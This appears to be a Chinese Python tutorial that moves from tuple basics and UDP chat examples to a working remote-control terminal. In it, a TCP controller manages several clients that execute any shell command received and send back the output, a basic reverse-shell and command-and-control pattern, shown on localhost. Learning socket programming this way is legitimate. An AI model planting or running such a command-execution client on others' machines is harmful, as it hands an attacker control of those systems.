0x04 python&socket&远控终端#

1
#!/usr/bin/python
2

3
tup1 = ('physics', 'chemistry', 1997, 2000)
4
tup2 = (1, 2, 3, 4, 5, 6, 7 )
5

6
print "tup1[0]: ", tup1[0]
7
print "tup2[1:5]: ", tup2[1:5]

1
tup1[0]:  physics
2
tup2[1:5]:  (2, 3, 4, 5)

1
#!/usr/bin/python
2
# -*- coding: UTF-8 -*-
3

4
tup1 = (12, 34.56)
5
tup2 = ('abc', 'xyz')
6

7
# 以下修改元组元素操作是非法的。
8
# tup1[0] = 100
9

10
# 创建一个新的元组
11
tup3 = tup1 + tup2
12
print tup3

1
(12, 34.56, 'abc', 'xyz')

1
#!/usr/bin/python
2

3
tup = ('physics', 'chemistry', 1997, 2000)
4

5
print tup
6
del tup
7
print "After deleting tup : "
8
print tup

1
('physics', 'chemistry', 1997, 2000)
2
After deleting tup :
3
Traceback (most recent call last):
4
  File "test.py", line 9, in <module>
5
    print tup
6
NameError: name 'tup' is not defined

1
L = ('spam', 'Spam', 'SPAM!')

1
#!/usr/bin/python
2

3
print 'abc', -4.24e93, 18+6.6j, 'xyz'
4
x, y = 1, 2
5
print "Value of x , y : ", x,y

1
abc -4.24e+93 (18+6.6j) xyz
2
Value of x , y : 1 2

1
import socket
2

3
#设定服务器地址
4
serverAddr = ('127.0.0.1',12260)
5

6
#创建 socket 并且绑定到服务器地址
7
s = socket.socket(type=socket.SOCK_DGRAM)
8
s.bind(serverAddr)
9

10
#开始监听端口，接收 1024 个字节
11
data,clientAddr = s.recvfrom(1024)
12
print(f'{clientAddr[0]}:{clientAddr[1]} > {data.decode()}')
13

14
#朝发送端，发送数据
15
s.sendto('world'.encode(),clientAddr)

1
import socket
2

3
#设定服务器地址
4
serverAddr = ('127.0.0.1',12260)
5

6
#创建 socket 连接
7
c = socket.socket(type=socket.SOCK_DGRAM)
8

9
#开始向服务器地址发送数据
10
c.sendto(b'hello',serverAddr)
11

12
#开始监听端口，等待数据发送回来
13
data,serverAddr = c.recvfrom(1024)
14
print(f'{serverAddr[0]}:{serverAddr[1]} > {data.decode()}')

1
import socket
2

3
#配置服务端监听的地址和端口
4
serverAddr = ('127.0.0.1',1226)
5

6
#使用UDP协议传输
7
s = socket.socket(type=socket.SOCK_DGRAM)
8

9
#绑定服务端地址和端口
10
s.bind(serverAddr)
11

12
#设置循环变量num
13
num=1
14

15
#接受客户端的数据并解码
16
while True:
17
    data,serverAddr = s.recvfrom(1024)
18
    print(f'第{num}次收到的数据为:{data.decode()}')
19
    num+=1

1
import  socket
2

3
#绑定服务端地址和端口
4
serverAddr = ('127.0.0.1',1226)
5

6
#使用UDP协议传输
7
c = socket.socket(type=socket.SOCK_DGRAM)
8

9
#输入数据并将数据编码发送给服务端
10
while True:
11
    data = input('要输入的数据:')
12
    c.sendto(data.encode(),serverAddr);

1
import socket
2
import threading
3

4
def receive_messages():
5
    while True:
6
        try:
7
            data, clientAddr = s.recvfrom(1024)
8
            print(f'收到来自 {clientAddr[0]}:{clientAddr[1]} 的消息：{data.decode()}')
9
            # 将收到的消息保存在列表中
10
            received_messages.append((data, clientAddr))
11
        except socket.error:
12
            pass  # 如果没有收到消息，继续循环
13

14
def process_messages():
15
    while True:
16
        if received_messages:
17
            data, clientAddr = received_messages.pop(0)  # 获取收到的消息队列的第一个消息
18
            reply = input(f'回复消息给 {clientAddr[0]}:{clientAddr[1]}: ')
19
            s.sendto(reply.encode(), clientAddr)
20

21
# 配置服务端监听的地址和端口
22
serverAddr = ('127.0.0.1', 1226)
23
# 使用UDP协议传输
24
s = socket.socket(type=socket.SOCK_DGRAM)
25
# 绑定服务端地址和端口
26
s.bind(serverAddr)
27

28
# 设置为非阻塞模式
29
s.setblocking(False)
30

31
# 用于保存收到的消息的列表
32
received_messages = []
33

34
# 启动接收消息和处理消息的线程
35
receive_thread = threading.Thread(target=receive_messages)
36
process_thread = threading.Thread(target=process_messages)
37

38
receive_thread.start()
39
process_thread.start()

1
import socket
2
import threading
3

4
def send_messages():
5
    while True:
6
        try:
7
            data = input('输入要发送的数据: ')
8
            c.sendto(data.encode(), serverAddr)
9
        except socket.error:
10
            pass  # 如果发送失败，继续循环
11

12
def receive_messages():
13
    while True:
14
        try:
15
            response, server = c.recvfrom(1024)
16
            print(f'收到来自服务端的消息: {response.decode()}')
17
        except socket.error:
18
            pass  # 如果没有接收到消息，继续循环
19

20
# 配置服务端地址和端口
21
serverAddr = ('127.0.0.1', 1226)
22
# 使用UDP协议传输
23
c = socket.socket(type=socket.SOCK_DGRAM)
24
# 绑定客户端地址和端口
25
c.bind(('127.0.0.1', 0))  # 绑定到任何可用端口
26

27
# 启动发送和接收消息的线程
28
send_thread = threading.Thread(target=send_messages)
29
receive_thread = threading.Thread(target=receive_messages)
30

31
send_thread.start()
32
receive_thread.start()

1
import socket
2

3
# 设定服务器地址
4
serverAddr = ('127.0.0.1', 1226)
5

6
# 创建 socket 并且绑定到服务器
7
s = socket.socket(type=socket.SOCK_DGRAM)
8
s.bind(serverAddr)
9

10
# 开始监听端口，接收 1024 个字节(接收数据和对端地址)
11
data, clientAddr = s.recvfrom(10240)
12

13
while 1:
14
    # 输入shell指令
15
    msg = input(f'{clientAddr[0]}:{clientAddr[1]} > ')
16
    # 向客户端发送shell指令
17
    s.sendto(msg.encode(), clientAddr)
18
    # recv只接收前面的类型，也就是只接收数据没有再接收地址了(这里也不需要再接收对端的地址了)
19
    print(s.recv(10240).decode())

1
import socket
2
import subprocess
3

4
# 设定服务器地址
5
serverAddr = ('127.0.0.1', 1226)
6

7
# 创建 socket 连接
8
c = socket.socket(type=socket.SOCK_DGRAM)
9

10
# 开始向服务器地址发送数据，这里的这个hello是必须发的，不然服务端不知道客户端的地址
11
c.sendto(b'hello', serverAddr)
12

13
# 开始监听端口，等待数据发送回来
14
while True:
15
    # 接收服务端发送过来的shell指令和服务端的地址
16
    data, serverAddr = c.recvfrom(10240)
17
    # 由于subprocess.getoutput()函数需要一个字符串类型的命令作为参数，我们将接收到的数据(指令)进行解码
18
    command = data.decode()
19
    # 进程间的通信都是bytes类型，因此执行完命令后结果还要进行编码，再发回去给服务端
20
    output = subprocess.getoutput(command).encode()
21
    c.sendto(output, serverAddr)

1
#Socket Server
2

3
import socket
4
from threading import Thread
5

6
# 定义函数，用于打印不同颜色的文本
7
def font_color(text, foreground=30, background_color=False, ftype=0):
8
    foreground = 32 if text == '[+]' else 31 if text == '[-]' else 34 if text == '[*]' else foreground
9
    if background_color:
10
        return '\033[{};{};{}m{}\033[0m'.format(ftype, foreground, background_color, text)
11
    else:
12
        return '\033[{};{}m{}\033[0m'.format(ftype, foreground, text)
13

14
# 设置服务器地址和端口
15
serverAddr = ('127.0.0.1', 12260)
16

17
# 创建一个 socket 实例并绑定到服务器地址
18
s = socket.socket()
19
s.bind(serverAddr)
20

21
# 开始监听传入连接
22
s.listen(10)
23
print(f'{font_color("[+]")} 开始监听')
24

25
# 设置端口复用，允许重新使用地址
26
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True)
27

28
# 客户端列表和下一个可用的客户端 ID
29
clientList = []
30
next_client_id = 1  # 计数器，表示下一个客户端的 ID
31

32
# 处理新客户端连接的函数
33
def listen():
34
    global next_client_id
35
    while True:
36
        # 接受客户端连接
37
        clientSocket, clientAddr = s.accept()
38

39
        # 将新客户端添加到列表并显示信息
40
        clientList.append([next_client_id, clientAddr, clientSocket])
41
        print(f'{font_color("[+]")}{clientAddr[0]}:{clientAddr[1]} 添加到列表')
42

43
        # 启动新线程处理客户端消息
44
        Thread(target=handle_client, args=([next_client_id, clientAddr, clientSocket],)).start()
45
        next_client_id += 1  # 为下一个客户端更新计数器
46

47
# 处理客户端消息的函数
48
def handle_client(client_info):
49
    client_id, client_addr, client_socket = client_info
50
    while True:
51
        try:
52
            # 输入命令
53
            msg = input(f'PS > ')
54
            msg = msg.split()
55

56
            # 检查输入是否为空
57
            if len(msg) == 0:
58
                print("请输入命令")
59
                continue
60

61
            # 检查命令并执行相应操作
62
            if msg[0] == 'check':
63
                # 显示客户端列表
64
                print('\tid\tip/port')
65
                disconnected_clients = []
66

67
                # 检查客户端连接状态
68
                for idx, client in enumerate(clientList):
69
                    try:
70
                        client[2].send(b'dir')  # 发送一个测试消息
71
                        client[2].recv(1024)
72
                    except ConnectionResetError:
73
                        disconnected_clients.append(idx)
74

75
                # 移除断开连接的客户端
76
                for disconnected_idx in disconnected_clients:
77
                    client_id = clientList[disconnected_idx][0]
78
                    print(f"Client {client_id} 断开连接")
79
                    clientList.pop(disconnected_idx)
80

81
                # 打印当前客户端列表
82
                for client in clientList:
83
                    print(f'\t{client[0]}\t{client[1][0]}:{client[1][1]}')
84
                print()
85

86
            elif msg[0] == 'shell':
87
                # 处理 shell 命令
88
                if len(msg) < 2:
89
                    print("请输入要连接的客户端 ID")
90
                    continue
91

92
                client_id_to_connect = msg[1]
93
                client_found = False
94

95
                # 遍历客户端列表查找要连接的客户端
96
                for client in clientList:
97
                    if client_id_to_connect == str(client[0]):
98
                        client_found = True
99
                        while True:
100
                            clientMsg = input(f'{client[1][0]}:{client[1][1]} > ')
101
                            if clientMsg == "":
102
                                continue
103
                            elif clientMsg == 'exit':
104
                                break
105
                            else:
106
                                client[2].send(clientMsg.encode())
107
                                print(client[2].recv(10240).decode())
108
                        break
109

110
                if not client_found:
111
                    print("找不到指定的客户端 ID")
112

113
            elif msg[0] == 'remove':
114
                # 处理 remove 命令
115
                try:
116
                    client_id_to_remove = int(msg[1])
117
                    for idx, client in enumerate(clientList):
118
                        if client[0] == client_id_to_remove:
119
                            clientList.pop(idx)
120
                            print(f"Client {client_id_to_remove} 已移除")
121
                            break
122
                    reset_client_ids()
123
                except (IndexError, ValueError):
124
                    print("请输入有效的客户端 ID")
125

126
        except ConnectionResetError:
127
            # 处理客户端断开连接
128
            print(f"Client {client_id} 断开连接")
129
            for idx, client in enumerate(clientList):
130
                if client[0] == client_id:
131
                    clientList.pop(idx)
132
                    break
133
            break
134

135
# 重置客户端 ID 计数器
136
def reset_client_ids():
137
    global next_client_id
138
    next_client_id = 1
139
    for idx, client in enumerate(clientList):
140
        client[0] = next_client_id
141
        next_client_id += 1
142

143
# 启动监听线程
144
Thread(target=listen).start()

1
用于建立一个python socket server。作用如下:
2

3
    监听连接请求： 使用 socket 库创建一个服务器套接字并绑定到指定的 IP 地址和端口上（这里是 127.0.0.1:12260）。s.listen(10) 告诉服务器接受多少个客户端连接请求。
4

5
    接受客户端连接： 使用 accept() 方法等待并接受来自客户端的连接。一旦有客户端连接请求到达，它将被接受并创建一个新的套接字对象以用于与该客户端通信。
6

7
    处理客户端请求： 为每个连接到服务器的客户端启动一个新的线程（使用 Thread 模块），这样服务器可以同时处理多个客户端的请求。在这个线程中，服务器可以接收来自客户端的命令，并根据命令做出相应的处理，比如执行命令、发送数据等。
8

9
    客户端管理： 服务器代码中有对客户端列表的管理。它可以追踪连接到服务器的客户端，并允许管理员通过命令进行查看、控制和移除特定客户端。
10

11
    安全性和错误处理： 这个简化的例子可能没有涵盖所有的安全性和错误处理。一个完整的生产级别的服务器可能需要更多的安全性考虑，比如对于输入的验证、异常处理等方面的处理。
12

13
这种服务器的应用场景通常用于远程控制、远程监控或者远程命令执行等。客户端可以通过连接到服务器与服务器进行通信，并根据服务器发送的指令执行相应的操作。

1
#Socket Client
2

3
import socket
4
import subprocess
5

6
# 设定服务器地址和端口
7
serverAddr = ('127.0.0.1', 12260)
8

9
# 创建一个 socket 连接
10
c = socket.socket()
11

12
# 连接到指定的服务器（TCP三次握手）
13
c.connect(serverAddr)
14

15
while True:
16
    # 接收来自服务器的命令
17
    command = c.recv(10240).decode()
18

19
    # 检查是否收到退出命令，如果是则退出循环
20
    if command.strip() == 'exit':
21
        break
22

23
    # 执行收到的命令并获取结果
24
    try:
25
        result = subprocess.getoutput(command)
26
    except Exception as e:
27
        result = str(e)
28

29
    # 将执行结果发送回服务器
30
    c.send(result.encode())
31

32
# 关闭连接
33
c.close()

1
一个基本的客户端程序，用于与指定的服务器进行通信。作用如下:
2

3
    建立连接： 客户端使用 socket 库建立与服务器的连接。在这种情况下，它连接到本地主机（127.0.0.1）的特定端口（12260）。
4

5
    接收命令： 通过循环，客户端持续接收来自服务器的命令。
6

7
    执行命令： 客户端使用 subprocess 库执行接收到的命令。它通过调用系统命令行执行这些命令，然后获取命令执行的结果。
8

9
    发送结果： 执行命令后，客户端将命令执行的结果发送回服务器。
10

11
    退出连接： 当服务器发送退出命令时，客户端终止循环并关闭连接。
12

13
这种类型的程序常用于服务器与客户端之间的远程命令执行或者控制，服务器发送命令给客户端，客户端执行命令并将结果返回给服务器。这种模型常见于远程管理、远程控制等应用场景中。